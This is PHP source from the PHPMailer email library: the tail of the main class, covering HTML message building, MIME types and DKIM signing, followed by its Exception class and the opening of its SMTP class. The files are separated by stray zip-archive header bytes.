        //If removing all the dots results in a numeric string, it must be an IPv4 address.
        //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names
        if (is_numeric(str_replace('.', '', $host))) {
            //Is it a valid IPv4 address?
            return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
        }
        //Is it a syntactically valid hostname (when embedded in a URL)?
        return filter_var('https://' . $host, FILTER_VALIDATE_URL) !== false;
    }

    /**
     * Get an error message in the current language.
     *
     * @param string $key
     *
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage(); //Set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ('smtp_connect_failed' === $key) {
                //Include a link to troubleshooting docs on SMTP connection failure.
                //This is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }

            return $this->language[$key];
        }

        //Return the key as a fallback
        return $key;
    }

    /**
     * Build an error message starting with a generic one and adding details if possible.
     *
     * @param string $base_key
     * @return string
     */
    private function getSmtpErrorMessage($base_key)
    {
        $message = $this->lang($base_key);
        $error = $this->smtp->getError();
        if (!empty($error['error'])) {
            $message .= ' ' . $error['error'];
            if (!empty($error['detail'])) {
                $message .= ' ' . $error['detail'];
            }
        }

        return $message;
    }

    /**
     * Check if an error occurred.
     *
     * @return bool True if an error did occur
     */
    public function isError()
    {
        return $this->error_count > 0;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value).
     *
     * @param string      $name  Custom header name
     * @param string|null $value Header value
     *
     * @return bool True if a header was set successfully
     * @throws Exception
     */
    public function addCustomHeader($name, $value = null)
    {
        if (null === $value && strpos($name, ':') !== false) {
            //Value passed in as name:value
            list($name, $value) = explode(':', $name, 2);
        }
        $name = trim($name);
        $value = (null === $value) ? '' : trim($value);
        //Ensure name is not empty, and that neither name nor value contain line breaks
        if (empty($name) || strpbrk($name . $value, "\r\n") !== false) {
            if ($this->exceptions) {
                throw new Exception($this->lang('invalid_header'));
            }

            return false;
        }
        $this->CustomHeader[] = [$name, $value];

        return true;
    }

    /**
     * Returns all custom headers.
     *
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * Converts data-uri images into embedded attachments.
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     *
     * @param string        $message  HTML message string
     * @param string        $basedir  Absolute path to a base directory to prepend to relative paths to images
     * @param bool|callable $advanced Whether to use the internal HTML to text converter
     *                                or your own custom converter
     * @return string The transformed message body
     *
     * @throws Exception
     *
     * @see PHPMailer::html2text()
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                //Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                //Convert data URIs into embedded images
                //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="
                $match = [];
                if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) {
                    if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) {
                        $data = base64_decode($match[3]);
                    } elseif ('' === $match[2]) {
                        $data = rawurldecode($match[3]);
                    } else {
                        //Not recognised so leave it alone
                        continue;
                    }
                    //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places
                    //will only be embedded once, even if it used a different encoding
                    $cid = substr(hash('sha256', $data), 0, 32) . '@phpmailer.0'; //RFC2392 S 2

                    if (!$this->cidExists($cid)) {
                        $this->addStringEmbeddedImage(
                            $data,
                            $cid,
                            'embed' . $imgindex,
                            static::ENCODING_BASE64,
                            $match[1]
                        );
                    }
                    $message = str_replace(
                        $images[0][$imgindex],
                        $images[1][$imgindex] . '="cid:' . $cid . '"',
                        $message
                    );
                    continue;
                }
                if (
                    //Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    //Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    //Do not change urls that are already inline images
                    && 0 !== strpos($url, 'cid:')
                    //Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = static::mb_pathinfo($url, PATHINFO_BASENAME);
                    $directory = dirname($url);
                    if ('.' === $directory) {
                        $directory = '';
                    }
                    //RFC2392 S 2
                    $cid = substr(hash('sha256', $url), 0, 32) . '@phpmailer.0';
                    if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && '/' !== substr($directory, -1)) {
                        $directory .= '/';
                    }
                    if (
                        $this->addEmbeddedImage(
                            $basedir . $directory . $filename,
                            $cid,
                            $filename,
                            static::ENCODING_BASE64,
                            static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION))
                        )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML();
        //Convert all message body line breaks to LE, makes quoted-printable encoding work much better
        $this->Body = static::normalizeBreaks($message);
        $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.'
                . static::$LE;
        }

        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was removed for license reasons in #232.
     * Example usage:
     *
     * ```php
     * //Use default conversion
     * $plain = $mail->html2text($html);
     * //Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * ```
     *
     * @param string        $html     The HTML text to convert
     * @param bool|callable $advanced Any boolean value to use the internal converter,
     *                                or provide your own callable for custom conversion.
     *                                *Never* pass user-supplied data into this parameter
     *
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }

        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     *
     * @param string $ext File extension
     *
     * @return string MIME type of file
     */
    public static function _mime_types($ext = '')
    {
        $mimes = [
            'xl' => 'application/excel',
            'js' => 'application/javascript',
            'hqx' => 'application/mac-binhex40',
            'cpt' => 'application/mac-compactpro',
            'bin' => 'application/macbinary',
            'doc' => 'application/msword',
            'word' => 'application/msword',
            'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll' => 'application/octet-stream',
            'dms' => 'application/octet-stream',
            'exe' => 'application/octet-stream',
            'lha' => 'application/octet-stream',
            'lzh' => 'application/octet-stream',
            'psd' => 'application/octet-stream',
            'sea' => 'application/octet-stream',
            'so' => 'application/octet-stream',
            'oda' => 'application/oda',
            'pdf' => 'application/pdf',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',
            'smi' => 'application/smil',
            'smil' => 'application/smil',
            'mif' => 'application/vnd.mif',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc' => 'application/vnd.wap.wmlc',
            'dcr' => 'application/x-director',
            'dir' => 'application/x-director',
            'dxr' => 'application/x-director',
            'dvi' => 'application/x-dvi',
            'gtar' => 'application/x-gtar',
            'php3' => 'application/x-httpd-php',
            'php4' => 'application/x-httpd-php',
            'php' => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps' => 'application/x-httpd-php-source',
            'swf' => 'application/x-shockwave-flash',
            'sit' => 'application/x-stuffit',
            'tar' => 'application/x-tar',
            'tgz' => 'application/x-tar',
            'xht' => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip' => 'application/zip',
            'mid' => 'audio/midi',
            'midi' => 'audio/midi',
            'mp2' => 'audio/mpeg',
            'mp3' => 'audio/mpeg',
            'm4a' => 'audio/mp4',
            'mpga' => 'audio/mpeg',
            'aif' => 'audio/x-aiff',
            'aifc' => 'audio/x-aiff',
            'aiff' => 'audio/x-aiff',
            'ram' => 'audio/x-pn-realaudio',
            'rm' => 'audio/x-pn-realaudio',
            'rpm' => 'audio/x-pn-realaudio-plugin',
            'ra' => 'audio/x-realaudio',
            'wav' => 'audio/x-wav',
            'mka' => 'audio/x-matroska',
            'bmp' => 'image/bmp',
            'gif' => 'image/gif',
            'jpeg' => 'image/jpeg',
            'jpe' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'webp' => 'image/webp',
            'avif' => 'image/avif',
            'heif' => 'image/heif',
            'heifs' => 'image/heif-sequence',
            'heic' => 'image/heic',
            'heics' => 'image/heic-sequence',
            'eml' => 'message/rfc822',
            'css' => 'text/css',
            'html' => 'text/html',
            'htm' => 'text/html',
            'shtml' => 'text/html',
            'log' => 'text/plain',
            'text' => 'text/plain',
            'txt' => 'text/plain',
            'rtx' => 'text/richtext',
            'rtf' => 'text/rtf',
            'vcf' => 'text/vcard',
            'vcard' => 'text/vcard',
            'ics' => 'text/calendar',
            'xml' => 'text/xml',
            'xsl' => 'text/xml',
            'csv' => 'text/csv',
            'wmv' => 'video/x-ms-wmv',
            'mpeg' => 'video/mpeg',
            'mpe' => 'video/mpeg',
            'mpg' => 'video/mpeg',
            'mp4' => 'video/mp4',
            'm4v' => 'video/mp4',
            'mov' => 'video/quicktime',
            'qt' => 'video/quicktime',
            'rv' => 'video/vnd.rn-realvideo',
            'avi' => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie',
            'webm' => 'video/webm',
            'mkv' => 'video/x-matroska',
        ];
        $ext = strtolower($ext);
        if (array_key_exists($ext, $mimes)) {
            return $mimes[$ext];
        }

        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     *
     * @param string $filename A file name or full path, does not need to exist as a file
     *
     * @return string
     */
    public static function filenameToType($filename)
    {
        //In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION);

        return static::_mime_types($ext);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe.
     *
     * @see https://www.php.net/manual/en/function.pathinfo.php#107461
     *
     * @param string     $path    A filename or path, does not need to exist as a file
     * @param int|string $options Either a PATHINFO_* constant,
     *                            or a string name to return only the specified piece
     *
     * @return string|array
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''];
        $pathinfo = [];
        if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);`
     *   is the same as:
     * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`.
     *
     * @param string $name  The property name to set
     * @param mixed  $value The value to set the property to
     *
     * @return bool
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->{$name} = $value;

            return true;
        }
        $this->setError($this->lang('variable_set') . $name);

        return false;
    }

    /**
     * Strip newlines to prevent header injection.
     *
     * @param string $str
     *
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(["\r", "\n"], '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     *
     * @param string $text
     * @param string $breaktype What kind of line break to use; defaults to static::$LE
     *
     * @return string
     */
    public static function normalizeBreaks($text, $breaktype = null)
    {
        if (null === $breaktype) {
            $breaktype = static::$LE;
        }
        //Normalise to \n
        $text = str_replace([self::CRLF, "\r"], "\n", $text);
        //Now convert LE as needed
        if ("\n" !== $breaktype) {
            $text = str_replace("\n", $breaktype, $text);
        }

        return $text;
    }

    /**
     * Remove trailing whitespace from a string.
     *
     * @param string $text
     *
     * @return string The text to remove whitespace from
     */
    public static function stripTrailingWSP($text)
    {
        return rtrim($text, " \r\n\t");
    }

    /**
     * Strip trailing line breaks from a string.
     *
     * @param string $text
     *
     * @return string The text to remove breaks from
     */
    public static function stripTrailingBreaks($text)
    {
        return rtrim($text, "\r\n");
    }

    /**
     * Return the current line break format string.
     *
     * @return string
     */
    public static function getLE()
    {
        return static::$LE;
    }

    /**
     * Set the line break format string, e.g. "\r\n".
     *
     * @param string $le
     */
    protected static function setLE($le)
    {
        static::$LE = $le;
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     *
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass            Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     *
     * @param string $txt
     *
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        $len = strlen($txt);
        for ($i = 0; $i < $len; ++$i) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }

        return $line;
    }

    /**
     * Generate a DKIM signature.
     *
     * @param string $signHeader
     *
     * @throws Exception
     *
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new Exception($this->lang('extension_missing') . 'openssl');
            }

            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ?
            $this->DKIM_private_string :
            file_get_contents($this->DKIM_private);
        if ('' !== $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
            if (\PHP_MAJOR_VERSION < 8) {
                openssl_pkey_free($privKey);
            }

            return base64_encode($signature);
        }
        if (\PHP_MAJOR_VERSION < 8) {
            openssl_pkey_free($privKey);
        }

        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2.
     * Canonicalized headers should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.2
     *
     * @param string $signHeader Header
     *
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        //Normalize breaks to CRLF (regardless of the mailer)
        $signHeader = static::normalizeBreaks($signHeader, self::CRLF);
        //Unfold header lines
        //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]`
        //@see https://www.rfc-editor.org/rfc/rfc5322#section-2.2
        //That means this may break if you do something daft like put vertical tabs in your headers.
        $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader);
        //Break headers out into an array
        $lines = explode(self::CRLF, $signHeader);
        foreach ($lines as $key => $line) {
            //If the header is missing a :, skip it as it's invalid
            //This is likely to happen because the explode() above will also split
            //on the trailing LE, leaving an empty line
            if (strpos($line, ':') === false) {
                continue;
            }
            list($heading, $value) = explode(':', $line, 2);
            //Lower-case header name
            $heading = strtolower($heading);
            //Collapse white space within the value, also convert WSP to space
            $value = preg_replace('/[ \t]+/', ' ', $value);
            //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value
            //But then says to delete space before and after the colon.
            //Net result is the same as trimming both ends of the value.
            //By elimination, the same applies to the field name
            $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t");
        }

        return implode(self::CRLF, $lines);
    }

    /**
     * Generate a DKIM canonicalization body.
     * Uses the 'simple' algorithm from RFC6376 section 3.4.3.
     * Canonicalized bodies should *always* use CRLF, regardless of mailer setting.
     *
     * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.3
     *
     * @param string $body Message Body
     *
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if (empty($body)) {
            return self::CRLF;
        }
        //Normalize line endings to CRLF
        $body = static::normalizeBreaks($body, self::CRLF);

        //Reduce multiple trailing line breaks to a single one
        return static::stripTrailingBreaks($body) . self::CRLF;
    }

    /**
     * Create the DKIM header and body in a new message header.
     *
     * @param string $headers_line Header lines
     * @param string $subject      Subject
     * @param string $body         Body
     *
     * @throws Exception
     *
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body
        $DKIMquery = 'dns/txt'; //Query method
        $DKIMtime = time();
        //Always sign these headers without being asked
        //Recommended list from https://www.rfc-editor.org/rfc/rfc6376#section-5.4.1
        $autoSignHeaders = [
            'from',
            'to',
            'cc',
            'date',
            'subject',
            'reply-to',
            'message-id',
            'content-type',
            'mime-version',
            'x-mailer',
        ];
        if (stripos($headers_line, 'Subject') === false) {
            $headers_line .= 'Subject: ' . $subject . static::$LE;
        }
        $headerLines = explode(static::$LE, $headers_line);
        $currentHeaderLabel = '';
        $currentHeaderValue = '';
        $parsedHeaders = [];
        $headerLineIndex = 0;
        $headerLineCount = count($headerLines);
        foreach ($headerLines as $headerLine) {
            $matches = [];
            if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) {
                if ($currentHeaderLabel !== '') {
                    //We were previously in another header; This is the start of a new header, so save the previous one
                    $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
                }
                $currentHeaderLabel = $matches[1];
                $currentHeaderValue = $matches[2];
            } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) {
                //This is a folded continuation of the current header, so unfold it
                $currentHeaderValue .= ' ' . $matches[1];
            }
            ++$headerLineIndex;
            if ($headerLineIndex >= $headerLineCount) {
                //This was the last line, so finish off this header
                $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue];
            }
        }
        $copiedHeaders = [];
        $headersToSignKeys = [];
        $headersToSign = [];
        foreach ($parsedHeaders as $header) {
            //Is this header one that must be included in the DKIM signature?
            if (in_array(strtolower($header['label']), $autoSignHeaders, true)) {
                $headersToSignKeys[] = $header['label'];
                $headersToSign[] = $header['label'] . ': ' . $header['value'];
                if ($this->DKIM_copyHeaderFields) {
                    $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                        str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                }
                continue;
            }
            //Is this an extra custom header we've been asked to sign?
            if (in_array($header['label'], $this->DKIM_extraHeaders, true)) {
                //Find its value in custom headers
                foreach ($this->CustomHeader as $customHeader) {
                    if ($customHeader[0] === $header['label']) {
                        $headersToSignKeys[] = $header['label'];
                        $headersToSign[] = $header['label'] . ': ' . $header['value'];
                        if ($this->DKIM_copyHeaderFields) {
                            $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC
                                str_replace('|', '=7C', $this->DKIM_QP($header['value']));
                        }
                        //Skip straight to the next header
                        continue 2;
                    }
                }
            }
        }
        $copiedHeaderFields = '';
        if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) {
            //Assemble a DKIM 'z' tag
            $copiedHeaderFields = ' z=';
            $first = true;
            foreach ($copiedHeaders as $copiedHeader) {
                if (!$first) {
                    $copiedHeaderFields .= static::$LE . ' |';
                }
                //Fold long values
                if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) {
                    $copiedHeaderFields .= substr(
                        chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS),
                        0,
                        -strlen(static::$LE . self::FWS)
                    );
                } else {
                    $copiedHeaderFields .= $copiedHeader;
                }
                $first = false;
            }
            $copiedHeaderFields .= ';' . static::$LE;
        }
        $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE;
        $headerValues = implode(static::$LE, $headersToSign);
        $body = $this->DKIM_BodyC($body);
        //Base64 of packed binary SHA-256 hash of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body)));
        $ident = '';
        if ('' !== $this->DKIM_identity) {
            $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE;
        }
        //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag
        //which is appended after calculating the signature
        //https://www.rfc-editor.org/rfc/rfc6376#section-3.5
        $dkimSignatureHeader = 'DKIM-Signature: v=1;' .
            ' d=' . $this->DKIM_domain . ';' .
            ' s=' . $this->DKIM_selector . ';' . static::$LE .
            ' a=' . $DKIMsignatureType . ';' .
            ' q=' . $DKIMquery . ';' .
            ' t=' . $DKIMtime . ';' .
            ' c=' . $DKIMcanonicalization . ';' . static::$LE .
            $headerKeys .
            $ident .
            $copiedHeaderFields .
            ' bh=' . $DKIMb64 . ';' . static::$LE .
            ' b=';
        //Canonicalize the set of headers
        $canonicalizedHeaders = $this->DKIM_HeaderC(
            $headerValues . static::$LE . $dkimSignatureHeader
        );
        $signature = $this->DKIM_Sign($canonicalizedHeaders);
        $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS));

        return static::normalizeBreaks($dkimSignatureHeader . $signature);
    }

    /**
     * Detect if a string contains a line longer than the maximum line length
     * allowed by RFC 2822 section 2.1.1.
     *
     * @param string $str
     *
     * @return bool
     */
    public static function hasLineLongerThanMax($str)
    {
        return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str);
    }

    /**
     * If a string contains any "special" characters, double-quote the name,
     * and escape any double quotes with a backslash.
     *
     * @param string $str
     *
     * @return string
     *
     * @see RFC822 3.4.1
     */
    public static function quotedString($str)
    {
        if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) {
            //If the string contains any of these chars, it must be double-quoted
            //and any double quotes must be escaped with a backslash
            return '"' . str_replace('"', '\\"', $str) . '"';
        }

        //Return the string untouched, it doesn't need quoting
        return $str;
    }

    /**
     * Allows for public read access to 'to' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     *
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     *
     * @param bool   $isSent
     * @param array  $to
     * @param array  $cc
     * @param array  $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     * @param array  $extra
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra);
        }
    }

    /**
     * Get the OAuthTokenProvider instance.
     *
     * @return OAuthTokenProvider
     */
    public function getOAuth()
    {
        return $this->oauth;
    }

    /**
     * Set an OAuthTokenProvider instance.
     */
    public function setOAuth(OAuthTokenProvider $oauth)
    {
        $this->oauth = $oauth;
    }
}
PKWd[b���
Exception.phpnu�[���<?php

/**
 * PHPMailer Exception class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer exception handler.
 *
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class Exception extends \Exception
{
    /**
     * Prettify error message output.
     *
     * @return string
     */
    public function errorMessage()
    {
        return '<strong>' . htmlspecialchars($this->getMessage(), ENT_COMPAT | ENT_HTML401) . "</strong><br />\n";
    }
}
PKWd[�s����SMTP.phpnu�[���<?php

/**
 * PHPMailer RFC821 SMTP email transport class.
 * PHP Version 5.5.
 *
 * @see       https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
 *
 * @author    Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
 * @author    Jim Jagielski (jimjag) <jimjag@gmail.com>
 * @author    Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
 * @author    Brent R. Matzelle (original founder)
 * @copyright 2012 - 2020 Marcus Bointon
 * @copyright 2010 - 2012 Jim Jagielski
 * @copyright 2004 - 2009 Andy Prevost
 * @license   https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License
 * @note      This program is distributed in the hope that it will be useful - WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.
 */

namespace PHPMailer\PHPMailer;

/**
 * PHPMailer RFC821 SMTP email transport class.
 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
 *
 * @author Chris Ryan
 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
 */
class SMTP
{
    /**
     * The PHPMailer SMTP version number.
     *
     * @var string
     */
    const VERSION = '6.9.3';

    /**
     * SMTP line break constant.
     *
     * @var string
     */
    const LE = "\r\n";

    /**
     * The SMTP port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_PORT = 25;

    /**
     * The SMTPs port to use if one is not specified.
     *
     * @var int
     */
    const DEFAULT_SECURE_PORT = 465;

    /**
     * The maximum line length allowed by RFC 5321 section 4.5.3.1.6,
     * *excluding* a trailing CRLF break.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.6
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The maximum line length allowed for replies in RFC 5321 section 4.5.3.1.5,
     * *including* a trailing CRLF line break.
     *
     * @see https://www.rfc-editor.org/rfc/rfc5321#section-4.5.3.1.5
     *
     * @var int
     */
